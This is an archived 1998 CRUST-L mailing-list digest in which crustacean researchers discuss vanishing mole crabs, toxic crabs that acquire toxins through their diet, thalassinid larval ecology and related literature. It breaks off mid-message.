per annum (Level B), together with attractive superannuation benefits and a pleasant working environment. For further information about the position please contact Professor Ned Pankhurst, School of Aquaculture on (03) 6324 3801, by fax on (03) 6324 3804 or by email Ned.Pankhurst@utas.edu.au. For an application package please contact Tracy Lowe on (03) 6226 2013 or fax on (03) 6226 2751 and quote reference number LA 76/98. The closing date for us to receive your application is Monday 25 May 1998. WE ARE AN EQUAL OPPORTUNITY EMPLOYER AND WE OFFER A SMOKEFREE WORKPLACE Visit our website at http://info.utas.edu.au/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 24 Apr 1998 11:07:49 -0400 (EDT) Subject: CRUST-L: Mole crabs (fwd) Please respond to Zen Faulkes and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Fri, 24 Apr 1998 10:44:51 -0400 From: "Zen Faulkes" To: crust-l@vims.edu Hello, From: Debi Ingrao > He was wondering why the Mole Crabs < Emerita) seem to have > dissappeared. Does any one have any information on Emerita's - > 1. Living habits - do they ever go into deeper water? Unlikely, as they depend on wave action to filter feed.[*] I know of no reports of Emerita going subtidal. [*] There may be some species variability in whether Emerita can feed in still water. West coat E. analoga can, but I hear the Atlantic species can't. > 2. Has anyone studied the effects of beach restoration projects on > populations of Emeritas Not that I know of. > 3. We have had a very windy year this year - could this be a > possible explaination. Possibly. In discussions with Jenny Dugan and Dave Hubard at UC Santa Barbara, they described beaches being "scoured" by wind during the winter and, not surprisingly, Emerita were hard to find there for a while. Zen Faulkes! http://www.mcgill.ca/Biology/perspage/zfaulkes.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "John C. Markham" Date: Fri, 24 Apr 1998 20:00:53 -0700 Subject: Re: CRUST-L: Mole Crab Info Request Debi Ingrao wrote: >=20 > I work in the Benthic Ecology Program at Mote MArine Laboratory and > recieved a call from a high school student on the west coast of Florida. > He was wondering why the Mole Crabs < Emerita) seem to have dissappeare= d. > Does any one have any information on Emerita's - > 1. Living habits - do they ever go into deeper water? > 2. Has anyone studied the effects of beach restoration projects= on > populations of Emeritas > 3. We have had a very windy year this year - could this be a > possible explaination. >=20 > Over the last few years, some of my volunteers who are avid fisherman h= ave > also noticed a declined in availabilty of mole crabs(one of their favor= ite > fishing baits) on our local beaches. >=20 > I would welcome any comments or suggestions of literature which may hel= p > me out. >=20 > Thanks, >=20 > debi > Ingrao Debi and gang: On the beach here (Latitude 45=BA48'N) we have almost every year, but never through the winter. Right about now the first few small individuals are starting to show up (from California?). Typically, tiny ones arrive in the spring and the size of the population and individuals both increse through the summer. Occasionally, though, the beach remains devoid of them all year. Two years ago, the only time I have seen it, the population underwent synchronous molting, so there were literally millions of cast shells in windrows along the beach. By sometime in the fall each year, they are all gone. So far as I know, no one has studied the population dynamics, so it remains unknown whether the crabs migrate south in the winter, or they die out and larvae of another population are carried in anew from somewhere to the south each spring. Possibly something similar happens to your population. John Markham jmarkham@seasurf.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Niel Bruce Date: Sat, 25 Apr 1998 14:44:44 +1000 Subject: CRUST-L: Toxic crustaceans A nice "review" of toxic crustaceans is: Llewellyn, L & Davie, P., 1987. Crabs and other crustaceans. Pp 127-135. In: 'Toxic Plants and Animals. A Guide for Australia.' Eds. Covacevihc, J, Davie, P. & Pearn, J, Queensland Museum: Brisbane. Pp 504. The ISBN 0 7242 2381 9 Niel L. Bruce 138 Carmody Road, St Lucia, Qld 4067, Australia. Phone: (07) 3217 8054; e-mail: Niel L. Bruce, 138 Carmody Road, St Lucia Qld 4067, Australia Tlf: 07 3217 8054 International +61 7 3217 8054 e-mail: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Judith Weis Date: Sat, 25 Apr 1998 09:15:48 -0400 (EDT) Subject: Re: CRUST-L: Toxic crustaceans Naturally, it WOULD be in Australia where the few toxic crusties would be!! 1880's: "There's lots of good fish in the sea" W.S. Gilbert 1990's: Many fish stocks depleted due to overfishing, habitat loss, and pollution. \ \ \ \ \ - - _ - \ \ \ \ ----\ - _ - \ - - ( O \ _ - -_ __ / - - / -/// _ ______ ___/ /// / Judith S. Weis Department of Biological Sciences Rutgers Univ. Newark NJ 07102 jweis@andromeda.rutgers.edu On Sat, 25 Apr 1998, Niel Bruce wrote: > A nice "review" of toxic crustaceans is: > Llewellyn, L & Davie, P., 1987. Crabs and other crustaceans. Pp 127-135. > In: 'Toxic Plants and Animals. A Guide for Australia.' Eds. Covacevihc, J, > Davie, P. & Pearn, J, Queensland Museum: Brisbane. Pp 504. > > The ISBN 0 7242 2381 9 > > > Niel L. Bruce > 138 Carmody Road, St Lucia, Qld 4067, Australia. > Phone: (07) 3217 8054; e-mail: > > Niel L. Bruce, 138 Carmody Road, St Lucia Qld 4067, Australia > > Tlf: 07 3217 8054 International +61 7 3217 8054 > e-mail: > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Thomas trott Date: Sat, 25 Apr 1998 17:43:10 -0400 (EDT) Subject: CRUST-L: toxic crustaceans Under certain circumstances, Birgus can become poisonous if it has been feeding on toxic plants. Reyne, A. 1939. On the food habits of the coconut crab (Birgus latro L.), with notes on its distribution. Arch. Neerland. de Zool. 3:283 - 320. Cameron, J. N. 1981. Brief introduction to the land crabs of the Palau Islands: Stages in the transition to air breathing. J. Exp. Zool. 218: 1 - 5. ********************************************************************** Dr. Thomas J. Trott Boston University Marine Program Marine Biological Laboratory Woods Hole, MA 02543 work:508-548-7145 fax:508-289-7297 email:ttrott@bio.bu.edu ********************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Sat, 25 Apr 1998 21:41:48 -0500 Subject: Re: CRUST-L: Toxic crustaceans I think it's required by law, in an Immigration Act or something. No taxon can disperse to or evolve in Australia unless a certain percent are either toxic or venomous. Lobbied in by the breweries, I think. Something to ease the mind while you wait to see if you're going to die. Phil >Naturally, it WOULD be in Australia where the few toxic crusties would >be!! > >Judith S. Weis Department of Biological Sciences > Rutgers Univ. Newark NJ 07102 jweis@andromeda.rutgers.edu >> A nice "review" of toxic crustaceans is: >> Llewellyn, L & Davie, P., 1987. Crabs and other crustaceans. Pp 127-135. >> In: 'Toxic Plants and Animals. A Guide for Australia.' Eds. Covacevihc, J, >> Davie, P. & Pearn, J, Queensland Museum: Brisbane. Pp 504. >> >> The ISBN 0 7242 2381 9 >> >> >> Niel L. Bruce }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Sat, 25 Apr 1998 21:49:40 -0500 Subject: CRUST-L: toxic crustaceans But is this, and similar reports, just happenstance? The crabs eat poisonous plants, and so become poisonous, or are the crabs actually *selecting* toxic plants to eat in order to acquire the toxics for their own use as defensive chemicals? Unless the toxic crabs are young stages subject to predation by rats, seabirds, and older crabs, I would suspect the former. The crabs eat toxic plants, aren't killed by the experience, and become toxic themselves, ho-hum. Like people and garlic. (Or *married* people and garlic.) Phil >Under certain circumstances, Birgus can become poisonous if it has been >feeding on toxic plants. > >Reyne, A. 1939. On the food habits of the coconut crab (Birgus latro L.), >with notes on its distribution. Arch. Neerland. de Zool. 3:283 - 320. > >Cameron, J. N. 1981. Brief introduction to the land crabs of the Palau >Islands: Stages in the transition to air breathing. J. Exp. Zool. 218: 1 - >5. > > >********************************************************************** >Dr. Thomas J. Trott >Boston University Marine Program >Marine Biological Laboratory >Woods Hole, MA 02543 >work:508-548-7145 >fax:508-289-7297 >email:ttrott@bio.bu.edu > >********************************************************************** > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Sat, 25 Apr 1998 17:31:59 -1000 Subject: Re: CRUST-L: toxic crustaceans On Sat, 25 Apr 1998, Philip Oshel wrote: > But is this, and similar reports, just happenstance? The crabs eat > poisonous plants, and so become poisonous, or are the crabs actually > *selecting* toxic plants to eat in order to acquire the toxics for their > own use as defensive chemicals? Actually, there's pretty good circumstantial evidence of this. I don't know if Birgus are eating to avoid predation, but on islands where this family of plants is common, natives will tie up Birgus or put them in a drum for several days to cleanse their systems. There is also a paper testing the toxicity of Birgus tissue fractions to mice, and the hepatopancreas of these crabs was quite poisonous. It wasn't clear which plant was involved. I looked into this literature to prepare a (unfunded) proposal examining the effect of rat poison or Birgus. I recall there was a Holthuis paper on toxic crustaceans too. I'll dig up the bibiography and post it. Rats often eat young crabs, and older crabs often eat rats. It seems that the plant alkaloids involved did not affect the crab much, but can have an effect on vertebrates. - -Curt > > Phil > > >Under certain circumstances, Birgus can become poisonous if it has been > >feeding on toxic plants. > > > >Reyne, A. 1939. On the food habits of the coconut crab (Birgus latro L.), > >with notes on its distribution. Arch. Neerland. de Zool. 3:283 - 320. > > > >Cameron, J. N. 1981. Brief introduction to the land crabs of the Palau > >Islands: Stages in the transition to air breathing. J. Exp. Zool. 218: 1 - > >5. > > > > > >********************************************************************** > >Dr. Thomas J. Trott > >Boston University Marine Program > >Marine Biological Laboratory > >Woods Hole, MA 02543 > >work:508-548-7145 > >fax:508-289-7297 > >email:ttrott@bio.bu.edu > > > >********************************************************************** > > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > >To (un)subscribe to CRUST-L: > >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > >Archives available at http://www.vims.edu/~jeff/archive.htm > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > > > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ > Philip Oshel > PO Box 5037 > Station A > Champaign, IL 61825-5037 > (217) 355-1143 > oshel@shout.net > or poshel@hotmail.com > ***** looking for a job ***** > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Sat, 25 Apr 1998 22:42:40 -0500 Subject: Re: CRUST-L: toxic crustaceans Curt, The plant family wasn't mentioned. Or the gingko's not doing its job. Which toxic plants are the crabs eating? If the crabs are just toxic because they're eating toxic plants, and they're not actually selecting the plants for defensive purposes, you'd expect the hepatopancreas to be toxic, and nothing else. If the crabs were selecting toxic plants, I would predict that they would pump toxin into their leg muscles and maybe hemolymph. This would do them some good for defense-sacrifice a leg to the predator, and get away. Just having a poison hepatopancreas won't help much without warning coloration. How much crab cannibalism is there? Phil >Actually, there's pretty good circumstantial evidence of this. I don't >know if Birgus are eating to avoid predation, but on islands where this >family of plants is common, natives will tie up Birgus or put them in a >drum for several days to cleanse their systems. > >There is also a paper testing the toxicity of Birgus tissue fractions to >mice, and the hepatopancreas of these crabs was quite poisonous. It wasn't >clear which plant was involved. > >I looked into this literature to prepare a (unfunded) proposal examining >the effect of rat poison or Birgus. I recall there was a Holthuis paper on >toxic crustaceans too. I'll dig up the bibiography and post it. > >Rats often eat young crabs, and older crabs often eat rats. It seems that >the plant alkaloids involved did not affect the crab much, but can have an >effect on vertebrates. > > >-Curt > > >> >> Phil >> >> >Under certain circumstances, Birgus can become poisonous if it has been >> >feeding on toxic plants. >> > >> >Reyne, A. 1939. On the food habits of the coconut crab (Birgus latro L.), >> >with notes on its distribution. Arch. Neerland. de Zool. 3:283 - 320. >> > >> >Cameron, J. N. 1981. Brief introduction to the land crabs of the Palau >> >Islands: Stages in the transition to air breathing. J. Exp. Zool. 218: 1 - >> >5. >> > >> > >> >********************************************************************** >> >Dr. Thomas J. Trott >> >Boston University Marine Program >> >Marine Biological Laboratory >> >Woods Hole, MA 02543 >> >work:508-548-7145 >> >fax:508-289-7297 >> >email:ttrott@bio.bu.edu >> > >> >********************************************************************** >> > >> >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> >To (un)subscribe to CRUST-L: >> >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >> >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >> >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >> >Archives available at http://www.vims.edu/~jeff/archive.htm >> >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> > >> >> }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ >> Philip Oshel >> PO Box 5037 >> Station A >> Champaign, IL 61825-5037 >> (217) 355-1143 >> oshel@shout.net >> or poshel@hotmail.com >> ***** looking for a job ***** >> >> >> >> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> To (un)subscribe to CRUST-L: >> Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >> To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >> Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >> Archives available at http://www.vims.edu/~jeff/archive.htm >> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> > >G. Curt Fiedler >Zoology Department & Hawaii Institute of Marine Biology >University of Hawaii at Manoa >2538 The Mall, Edmondson hall >Honolulu, Hawaii 96822 >Phone: (808)956-4712 >Fax: (808)956-9812 > >http://www2.hawaii.edu/~zoology/graduate/CurtPage.html }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: P.Davie@mailbox.uq.edu.au Date: Mon, 27 Apr 98 11:23:44 +1100 Subject: CRUST-L: Re: Toxic crustaceans In the review that Neil Bruce referred to we recorded 22 species of crabs in 5 families that had toxins in the flesh. Most are Xanthidae, but Portunidae, Grapsidae, Majidae, and Parthenopidae were also represented. Toxins identified include Saxitoxin, Paralytic Shellfish Poisons, Tetrodotoxin, and Palytoxin. Our belief is that all these types of toxin are taken in via the food chain - some seem to be reliably poisonous (such as at least some Demania species), while for most, toxicity varies according to place and probably season. In general we felt that most small coral reef crabs should be treated with suspicion. Grazers are presumably going to be the most likely to pick up toxins, but predators such as Thalamita (Portunidae) also had toxins, so in some cases amplification may occur. I haven't looked at the literature for a while but it seems there are no records of this phenomenon outside the Indo-West Pacific. With so many toxins involved, one would expect this process to be happening on Carribean reefs as well. Has anyone ever looked I wonder? Peter - ---------------------------------------------------- P.J.F. Davie Senior Curator, Crustacea Queensland Museum P.O. Box 3300 South Brisbane. QLD 4101 Australia Ph: 61.7.38407719 Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au - ---------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Anna Fitch Date: Mon, 27 Apr 1998 01:15:38 -0800 Subject: CRUST-L: Crusty Stories Hi, Thank you for all the information and leads on claw evolution! I have yet another question. I'm looking for great crustaceans natural history stories, with a real Wow factor! These stories don't have to relate directly to functional morphology or evolution, behavioral stories are great. These are the hook stories to open peoples eyes to the world of Arthropods. I would love to know a few of your favorites off the top of your head. Thanks again for all of the help. Cheers Anna Anna Fitch Sea Studios 810 Cannery Row Monterey, CA 93940 Tel: 408 649-5152 ext.105 Fax: 408 649-1380 email: annafitch@seastudios.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: mthessal@biology.db.uoa.gr Date: Mon, 27 Apr 1998 12:39:09 +0000 Subject: [none] Dear Brent Indeed there is a lot of information on thalassinid larval ecology that is missing! Some hints for larval food independence are given also in - -Nantes et al. 1997. J. Crust. Biol. 17: 497-519 Direct larval development is suspected for C. subterranea in - -Rowden @ Jones 1994. J. mar. biol. Ass. U.K. 74: 623-635. - -Tamaki et al. 1996 J. mar. biol. Ass. U.K. 76:675-689 as well as - -Nantes et al. 1997 summarise larval periods for callianassid species. My opinion is that species with abbreviated development with two or three zoeal stages should exhibit some kind of lecithotrophy-not yet docummented. For example in our experiments with larvae of C. tyrrhena it seems that facultative lecithotrophy is exhibited during larval development and it is more pronounced in Zoea I. Full results of our presentation of 1992 have been submitted for publication- hopfully during this year. As for general ecological aspects of larval thalassinids (tidal exchange in estuaries) I suppose you have already come across - -Johnson & Gonor 1982. Estuar. coastl Shelf Sci. 14:501-516 and - -Emmerson 1983. S. Afr. J. Zool. 18: 326-330. I wish you good luck with thalassinids Best regards Maria - --------------------------------- Dr. Maria Thessalou-Legaki Section of Zoology-Marine Biology Dept. of Biology, Univ. of Athens Panepistimioupolis, GR 157 84 Athens, Greece Tel: 301-7284639;Fax: 301 7284604 e-mail: mthessal@biology.db.uoa.gr - ---------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #138 ***************************** From owner-crust-l Wed Apr 29 09:28:24 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id JAA27406 for crust-l-digest-outgoing; Wed, 29 Apr 1998 09:25:03 -0400 Date: Wed, 29 Apr 1998 09:25:03 -0400 Message-Id: <199804291325.JAA27406@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #139 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 13 crust-l-digest Wednesday, 29 April 1998 Volume 01 : Number 139 CRUST-L: RE: American species of Macrobrachium CRUST-L: Toxicity of Cadmiun to Artemia Re: CRUST-L: Re: Toxic crustaceans Re: CRUST-L: toxic crusties CRUST-L: Triops longicaudatus CRUST-L: biodiversity and research Re: CRUST-L: Re: Toxic crustaceans CRUST-L: Re: your mail CRUST-L: molecular systematics postdoc (fwd) [none] CRUST-L: Electronic conference on biodiversity research needs CRUST-L: toxic crustaceans (fwd) CRUST-L: first egg batch ---------------------------------------------------------------------- From: John William Short Date: Mon, 27 Apr 1998 19:56:39 +1000 Subject: CRUST-L: RE: American species of Macrobrachium Regarding Omar Perez's question about the number of American = Macrobrachium species: at the end of 1994 (the last time I updated my = inventory of world species) 44 species were known from the Americas. = Sixteen of these occur in Pacific watersheds and 28 in Atlantic = drainages. =20 John W. Short Crustacea Section Queensland Museum PO Box 3300 South Brisbane Qld 4101 Australia =20 Ph: +61 7 3840 7717 Fax: +61 7 3846 1226 (Running Microsoft Outlook on a PC)=20 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Pereira Guido - Prof. IZT " Date: Mon, 27 Apr 1998 06:56:56 -0300 (EDT) Subject: CRUST-L: Toxicity of Cadmiun to Artemia Hi!., We are trying to develop a proyect (my self and a grad student) on the effect of cadmiun on reproducction of Crustaceans, specially the Brine shrimp Artemia. So if you happen to know of any reference please let me know through this media. Thanks in advance, Sincerely Guido Pereira Intituto de Zoologia Tropical, UCV Caracas, Venezuela Email:gpereira@strix.ciens.ucv.ve =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 27 Apr 1998 09:04:16 -0400 (EDT) Subject: Re: CRUST-L: Re: Toxic crustaceans Crustlers, Considering bioamplification, it seems odd that spiny lobster do not 